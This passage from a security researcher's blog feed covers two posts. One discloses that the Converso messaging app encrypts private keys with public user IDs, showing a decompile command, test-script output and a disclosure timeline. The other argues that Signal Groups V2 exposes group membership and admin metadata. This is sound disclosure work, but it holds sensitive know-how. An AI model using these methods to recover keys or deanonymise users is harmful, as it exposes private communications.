But there's a big problem with that: there's no such thing as a password in Converso. To create an account, all you need to do is enter your phone number and verify an SMS code. If there's no such thing as a password, what are these keys being encrypted with?

This code encrypts users' secret keys with a password and uploads them to Seald's backup service

It's a little hard to trace where the password variable (u) comes from in this minimised JavaScript code. Time to bring in a debundler tool to make the code slightly more legible.

$ npx react-native-decompiler -i ./index.android.bundle -o ./output

Now it's easier to trace variables across functions. With a better look, I can see that the code I'm looking at is inside a React Native component called 'Seald'.

The code is now a little easier to follow
This variable contains the encryption password

It turns out the Seald username is the user's phone number, and the encryption password is just their user ID. That's really bad. Encryption passwords are just Firebase user IDs, and user IDs are public.

I already have a list of every user's phone number and user ID – downloaded earlier from the public users collection. Which means I currently have the credentials to download and decrypt every Converso private key – granting me the ability to decrypt any encrypted message.

A short script to confirm this finding using the official Seald SDK:

Using the Seald credentials from the app's code, plus a random user's phone number and user ID from Converso's public database
$ node test.js 
[19:29:17.328 04/05/2023 UTC+10] info :seald-sdk - Seald SDK - Start
[19:29:17.338 04/05/2023 UTC+10] info :goatee - Instantiating Goatee
[19:29:17.341 04/05/2023 UTC+10] info :goatee - Initializing goatee
[19:29:18.993 04/05/2023 UTC+10] info :seald-sdk - Already initialized
[19:29:19.028 04/05/2023 UTC+10] info :goatee - Setting new default user...
[19:29:23.590 04/05/2023 UTC+10] info :goatee/database/models/User - Sigchain updated for user 2yXXXXXXXXXXXLEw. Sigchain matches with db: true
good password!

Oh no

I'm not going any further with my tests – I'm now only one step away from seriously invading someone's privacy by reading a message expected to be encrypted and confidential.

Private keys are public, too

Not only is metadata public, but so too are the keys used to encrypt messages. Anyone can download a Converso user's private key, which could be used to decrypt their secret conversations.

There's no longer any real distinction between cleartext and encrypted messages – nothing is meaningfully encrypted. For your security, you shouldn't use Converso to send any message that you wouldn't also publish as a tweet.


These outrageous vulnerabilities were disclosed to Converso before this post was published.

  • 2023-05-05: Vulnerabilities disclosed to Converso. Blog post drafted.
  • 2023-05-05: Converso replied: 'Thank you for your response and the time you have put into this matter. I have forwarded this to my CEO & CTO and we will address this immediately. We will get back to you as soon as possible with our detailed response.'
  • 2023-05-05: Converso asks: 'How were you able to decompile the source code of the app and what do you think should be done to protect against that in the future?'
  • 2023-05-05: My response: 'Your app is developed in React Native. Simply rename the Converso APK file to a '.7z' file, and extract the 'assets/index.android.bundle' file. This file contains the bundled source code for Converso and its JavaScript dependencies. This is not something to protect against – other apps are the same. And besides, even if you could make this process harder, it is always unsafe to rely on client-side enforcement of server-side security.'
  • 2023-05-05: Converso asks: 'May we know what you do and where you are located? Thank you.'
  • 2023-05-06: Converso says: 'We wanted to let you know we have deployed a new version and are waiting for that build to be approved. We will continue to work on updates based on your feedback which was very much appreciated.'
  • 2023-05-06: Apple approves the new version of their iOS app. In the release notes, Converso describes the new version as containing 'minor bug improvements' and 'even more next-generation security improvements'.
  • 2023-05-06: Google approves the new version of the Android app.
  • 2023-05-09: Converso says: 'The vulnerability with Firebase rules have been patched and you are welcome to test it out. The other vulnerability of preset decryption keys has been implemented on our side, we are only waiting to get new credentials so that existing users will be reauthenticated. However, all existing messages sent with the old decryption keys are protected by firebase rules so they still cannot be read by outside parties.'
  • 2023-05-10: Converso thanks me again for bringing the vulnerabilities to their attention. Blog post published.
  • 2023-05-11 to 2023-05-12: The founder of Converso, Tanner Haas, tells me that he and his 'legal team' have a problem with my article, and recommends I remove it. He sends me a series of emails accusing me of defamation and alleging that I am 'either an employee [of Signal] or Moxie himself.' Meanwhile, Converso begins removing content from its website and marketing materials, including most of the false or misleading statements quoted in this article.
  • 2023-05-14: Converso publishes a new blog post to its website in what appears to be a strategy to outrank, in search engine results, this web page and possibly others that point out Converso's security flaws and misrepresentations. The new post includes the phrase 'testing Converso's claims' in its meta description tag.
  • 2023-05-16: The Converso apps appear to be no longer available for download from the Google Play Store or iOS App Store. It's not yet clear why this is the case, and whether the app will return. Either Converso has intentionally pulled the app, or the stores have an issue with it.
  • 2023-05-16: In an email to me, Converso confirms that they voluntarily delisted the app from the app stores while they work to 'address and improve the issues.'
]]>
<![CDATA[Signal Groups V2 is a privacy downgrade]]>https://crnkovic.dev/signal-groups-v2-is-a-privacy-downgrade/644ef90019cb5a2ff9076590Mon, 01 May 2023 02:31:45 GMTContext: A few years ago, Signal changed the way end-to-end encrypted group conversations work. They announced these changes in a blog post.

End-to-end encrypted group conversations are hard. Under the hood, an encrypted group conversation in the Signal app is really an agglomeration of individual encrypted conversations: each group member is talking with every other group member.

This doesn't scale well, because sending a message to a group involves individually encrypting that message for every member in that group. But there's a more critical issue which breaks the integrity of group conversations, and that's the fact that this system of lacks transcript consistency. Message ordering isn't guaranteed to be consistent among all group members.

Receiving a message out of order doesn't seem like a big deal at first glance. Who cares who sent X message first? The issue is that access control modifications – adding a new member, kicking a member, or promoting an existing member to have the ability to do those things – are broadcast in the same way as regular messages: delivered to each member individually and potentially received out-of-order.

Suppose Alice is kicking Bob from a group conversation, and, at the same time, Charlie is revoking Alice's privileges to kick anyone out. If members receive those messages in order, the group will break into two: one fork of the group will kick Bob out, the other won't. There's no easy way to correct this divergence, especially considering we're in an asynchronous environment with inconsistently connected clients and unpredictable latency. Because of this problem, multi-admin groups weren't a feature of Signal Groups V1.

With a centralised chat service, no such issue exists because the service nominates itself as the absolute authority on group member and access control lists. All clients defer to the service for the latest membership list. But such a model would break Signal's promise of privacy. Under Signal's initial model of group conversations, groups are an abstraction of the clients only. All the Signal service sees are encrypted blobs flying from user to user – it doesn't know* that they're related to a group, and it wouldn't know which member is an administrator of a group, and so on.

Groups V2

The new Signal Private Group system purports to solve this problem without compromising on the private nature of the app. What it did was move the group member and access control lists to the server, nominating itself as the sole oracle of truth for the latest state of the group. But unlike traditional chat services, group membership is encrypted before it reaches Signal's server. The service stores the group's latest state on a server – membership, roles, and other attributes – without being able to read it.

By using a zero-knowledge ‘anonymous credentials’ proofs, the Signal service doesn’t need to know who the members of a group are in order to let any one of them fetch or, if permitted, modify, the latest state.

The following video (and this related paper) explains this is in great detail:

0:00
/
Presentation at the 2022 ACM SIGSAC Conference

Elephant in the room

There's nothing obviously wrong with the paper, which deals solely with the anonymous credentials mechanism. It would be fine if the protocol existed in a vacuum, however in practice any request to the Signal service needs a way to get there, and this regular HTTP network journey leaks the user's digital identity. Any person accessing or updating a group's encrypted state is revealing their IP address to a Signal server in the process.

If the user has already identified themselves by the time they get to the anonymous credentials process, then the fact that they aren't deanonymised yet again means nothing. They've already signed in at the front desk to enter the building: the fact you're not making them sign in again means nothing. It doesn't matter how good the cryptography is – it's moot.

By analysing Signal’s log files, it would be very easy to create a list of every IP address belonging to each group. This seems to defeat the point of the anonymous credentials mechanism.

The Signal Groups V2 model moved the group-chat abstraction from the client to the server, entrusting Signal with a new power to list the members of each group (and also to know how many groups there are, when each group was created, and so on).

The usefulness of anonymous credentials under the new private group system rests wholly on trusting Signal to not keep logs. And, of course, you should assume that the Signal is logging everything (that's why end-to-end encryption is a thing).

Deniability is gone, again

The Signal Protocol is based on OTR, which provided deniable authentication of messages. That's the ability for a user to theoretically make the claim that any message they sent wasn't theirs – due to the fact that both the sender and receiver know the MAC key used to demonstrate message integrity.

In 2014, researchers noted that this deniability property wasn't inherited in the Signal Protocol (then named TextSecure) due to the fact that users had to first authenticate with the Signal server before they could send a message. Even though TextSecure achieved deniability on a protocol level, in practice it failed. 'In conclusion, TextSecure only achieves deniability theoretically. Content deniability is provided due to our security proof but we can not prove that no delivery request will be recorded at the TextSecure server.' (Sound familiar?)

Signal solved this particular issue in 2018 with its 'Sealed sender' feature. It stopped requiring senders to authenticate with the service in order to deliver a message.

But you now have to authenticate with the Signal service in order to grab or update a group's encrypted state – and the anonymous authentication scheme employed is not deniable. Signal now has undeniable cryptographic proof that a Signal user with your IP address belongs to a particular group chat. No such undeniable proof existed in Groups V1.

*But timing analysis was already a thing

Above I wrote that all Signal sees are encrypted blobs flying from user to user without knowing they're necessarily related to a group, but that's not exactly true, as the timing of messages can potentially leak group member lists.

If someone sends a message to ten users in a very short time window, it would appear likely that the message was a group message – and those ten recipients are members of a group chat with the sender. If a second or third message is sent to the same ten users again, it seems more likely. By conducting a probabilistic statistical analysis of request logs, an adversary could infer the make-up of group chats.

Maybe V2 was an admission that this theoretical leakage was a flaw large enough to mean group membership lists were practically non-secret anyway. Maybe we may as well stop pretending that group membership is sacred, especially if doing away with membership privacy could mean solving the frustrating issue of transcript consistency?

Not exactly, because even if we assumed that group membership lists were already discoverable with perfect precision through timing-based leaks, there's yet another privacy downgrade introduced in V2: group hierarchy. Through leakage, the service might be able to determine who the members of each group are, but it couldn't tell which member is an administrator. In V2, the serivce knows which member is in charge because only that member passes the anonymous credentials test to update the group's encrypted state.

V1 vs V2

The differences between Groups V1 and Groups V2 seem to be:

  • Consistency issues: Problem in V1. Solved in V2, which allows Signal to greatly improve the UX and feature set of groups chats.
  • Group participants (by IP address): Probabilistically discoverable in V1 with timing analysis. Known by the service in V2.
  • Group administrators (by IP address): Secret in V1. Known by the service in V2.
  • Group participation deniability: Deniable in V1. Non-deniable in V2 – the service has mathematical proof that someone with your IP address is a member of the group.

2023-05-06: Based on some feedback received, I feel I need to clarify that my conclusion is not that V2 was a mistake – it's that V2 introduced additional metadata leakage which wasn't present in V1. I'm aware that solving consistency issues allowed Signal to greatly improve the usability of groups and resolve related bugs – my interest was in the cost of those improvements.

]]>